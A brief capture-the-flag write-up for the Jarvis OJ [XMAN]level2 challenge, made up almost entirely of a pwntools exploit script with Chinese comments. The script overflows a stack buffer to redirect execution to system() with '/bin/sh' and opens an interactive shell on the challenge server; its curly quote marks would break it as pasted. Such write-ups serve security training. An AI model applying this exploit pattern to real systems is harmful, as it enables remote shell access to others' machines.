Jarvis OJ - [XMAN]level2 - Writeup

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

io = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next()

payload = ‘a‘*(0x88 + 0x4) #辣鸡填充值
payload += p32(sys_addr)   #覆盖返回地址到system函数
payload += p32(0xdeadbeef)　　#随意填写system函数调用结束的返回地址
payload += p32(bin_addr)　　#system函数的参数，指向“/bin/sh”，实现调用

io.recvline()
io.sendline(payload)
io.interactive()
io.close()